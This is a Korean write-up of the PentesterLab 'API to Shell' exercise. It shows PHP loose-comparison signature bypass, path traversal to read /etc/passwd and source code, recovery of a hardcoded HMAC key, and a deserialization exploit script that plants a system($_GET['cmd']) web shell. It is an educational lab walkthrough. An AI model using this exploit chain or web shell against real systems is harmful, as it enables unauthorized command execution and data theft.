PentesterLab의 Api to Shell의 풀이 과정을 기록
문제 페이지에 접근하면 아래와 같이 API Documentation을 확인할 수 있다.
register와 login API에 접근하면 token이 부여된다.
files API 접근할 경우 파일 list를 받아온다.
upload API에 데이터와 함께 전달할 경우 파일이 업로드된다.
다시 files API 호출해보면 정상적으로 파일이 업로드되었으며, 업로드된 파일의 uuid와 sig 값을 확인할 수 있다.
file API를 통해 파일을 검색해보면 files API를 통해 확인했던 uuid와 sig 값을 통해 단일 파일을 검색할 수 있다.(실제로 업로드되는 파일명은 file뒤에 난수가 붙어서 업로드되는것같다😀)
여기서 PHP의 비교문에 대해서 짚고 넘어가보겠다. PHP에서 두 변수를 비교하는 방법은 두가지이다.
=== / !== (엄격한 비교
== / != (느슨한 비교)
먼저 엄격한 비교를 통해 두 값을 비교해보았다. 변수 타입과 값을 구분한다.
느슨한 비교는 좀 복잡하다... 아래 문서를 참고하자
PHP Magic Tricks: Type Juggling
느슨한 비교 취약점을 이용하여 Signature 비교를 우회해보면...😶!!
이제 uuid를 /etc/passwd로 변경해보겠다(Sig 값을 맞추기 위해 /./././././ 를 삽입함)
파일 다운로드 취약점까지 파냈으니, 소스코드를 다운받아서 소스코드를 확인해보겠다.
index.php 파일을 확인하니 router.php 파일이 있는것을 확인
<?php
/*
* GET -> doc
* POST -> action
* methods:
* - /login (user,password) -> token
* - /register (user,password) -> token
* - /files (token) -> files
* - /file (token, uuid, sig) -> file
* - /upload (token, file) -> ok
*/
require('router.php');
?>
router.php 파일을 확인하니 db.php, utils.php, user.php, file.php 등이 있는 것을 확인할 수 있다.
<?php
require_once('classes/db.php');
require_once('classes/utils.php');
require_once('classes/user.php');
require_once('classes/file.php');
....
....
?>
db.php 파일을 확인하니 mysql 계정 정보가 담겨있지만 여기서 사용할 방법은 없는것같다.
<?php
$lnk = mysql_connect("localhost", "pentesterlab", "pentesterlab");
$db = mysql_select_db('ezshare', $lnk);
?>
utils.php 파일을 보니 데이터를 sign하는 함수에서 define된 KEY를 이용해서 md5 해시화하는것을 확인할 수 있다.
<?php
define('KEY', "ooghie1Z Fae8aish OhT3fie6 Gae2aiza");
function sign($data) {
return hash_hmac('md5', $data, KEY);
}
function respond_with($data) {
header("Content-Type: application/json;");
echo json_encode($data);
die();
}
function generateRandomString($length = 6) {
return substr(str_shuffle(str_repeat($x='abcdefghijklmnopqrstuvwxyz', ceil($length/strlen($x)) )),1,$length);
}
?>
user.php 파일을 확인하면 tokenize함수에서 $user로 전달받은 User 오브젝트를 전달받아 직렬화하여 Base64Encode -> Url Encode 하여 token을 생성하여 utils.php에서 확인했던 sign 함수에 태우은것을 볼 수 있다.
즉 token은 "--"을 기준으로 좌측은 User 오브젝트, 우측은 User 오브젝트가 sign된 값이라고할 수 있다.
<?php
....
....
public static function tokenize($user) {
$token = urlencode(base64_encode(serialize($user)));
$token.= "--".sign($token);
return $token;
}
....
....
?>
추가적으로 detokenize 함수에서 인자로 token을 입력받아 "--" 기준 좌측 데이터를 sign했을때 우측 데이터와 같은지 확인하고 같을 경우 역직렬화 과정을 거친다.
PHP에서 unserilize함수는 매우 위험한 함수며 공격자로부터 제어당할 수 있다😜
<?php
....
....
public static function detokenize($token) {
list($userdata, $usersig) = explode("--",$token,2);
$user = NULL;
if ($usersig !== sign($userdata)){
header("Content-Type: application/json;");
respond_with(Array("error" => "Invalid authentication token"));
} else {
$user = unserialize(base64_decode(urldecode($userdata)));
}
return $user;
}
....
....
?>
마지막으로 file.php 코드를 확인하면 파일을 확인하거나 업로드하는 코드가있으며, 소멸자를 보면 application.log에 로그를 기록한다.
<?php
class File {
public $owner,$uuid, $content;
public $logfile = "/var/www/logs/application.log";
function __destruct() {
// Loogging access
$fd = fopen($this->logfile, 'a');
fwrite($fd, $_GET['action'].":".$this->uuid.' by '.$this->owner."
");
fclose($fd);
}
function __construct($id, $owner, $uuid) {
$this->id = $id;
$this->owner = $owner;
$this->uuid = $uuid;
echo "/var/www/data/".$uuid;
$this->content = file_get_contents("/var/www/data/".$uuid);
}
public static function index($user_id) {
$sql = "SELECT * FROM files where user_id=".intval($user_id);
$results = mysql_query($sql);
$files = Array();
if ($results) {
while ($row = mysql_fetch_assoc($results)) {
$files[] = Array('id' => $row['id'], 'name' => $row['name'],
'uuid' => $row['uuid'],
'sig' => sign(intval($user_id).':'.$row['uuid']));
}
}
return $files;
}
public static function get_file($user_id,$uuid, $sig) {
// verify signature
if ($sig != sign($user_id.':'.$uuid)) {
respond_with(Array("error" => "Invalid Signature"));
}
else {
// retrieve file name
$sql = "SELECT * FROM users where id=".intval($id);
$result = mysql_query($sql);
$name = "";
if ($result) {
$row = mysql_fetch_assoc($result);
$f = new File($id, $row['login'], $uuid);
respond_with(Array("file" => $f));
}
respond_with(Array("error" => "file not found"));
// file read and return content
}
}
public static function upload($name, $data, $user_id){
$uuid = uniqid("file").uniqid();
$sql = "INSERT INTO files (name, uuid, user_id) values ('";
$sql .= mysql_real_escape_string($name);
$sql .= "','".mysql_real_escape_string($uuid);
$sql .= "',".intval($user_id).")";
$results = mysql_query($sql);
// overwrite
$fd = fopen("/var/www/data/".$uuid, 'w');
fwrite($fd, $data);
fclose($fd);
respond_with(Array("success" => "File successfully uploaded"));
}
}
?>
위 내용들을 기반으로 악의적인 직렬화 데이터를 만들기위해 소스코드를 이용한다.
<?php
define('KEY', "ooghie1Z Fae8aish OhT3fie6 Gae2aiza");
function sign($data) {
return hash_hmac('md5', $data, KEY);
}
function tokenize($user) {
$token = urlencode(base64_encode(serialize($user)));
$token.= "--".sign($token);
return $token;
}
class File {
public $owner,$uuid='<?php echo system($_GET["cmd"]);?>';
public $logfile = "/var/www/juice.php";
}
echo tokenize(new File());
?>
register API에 token 값으로 위에서 생성한 값을 첨부해 전달한다.
/juice.php에 접근하면 웹쉘이 정상적으로 올라간것을 볼 수 있다.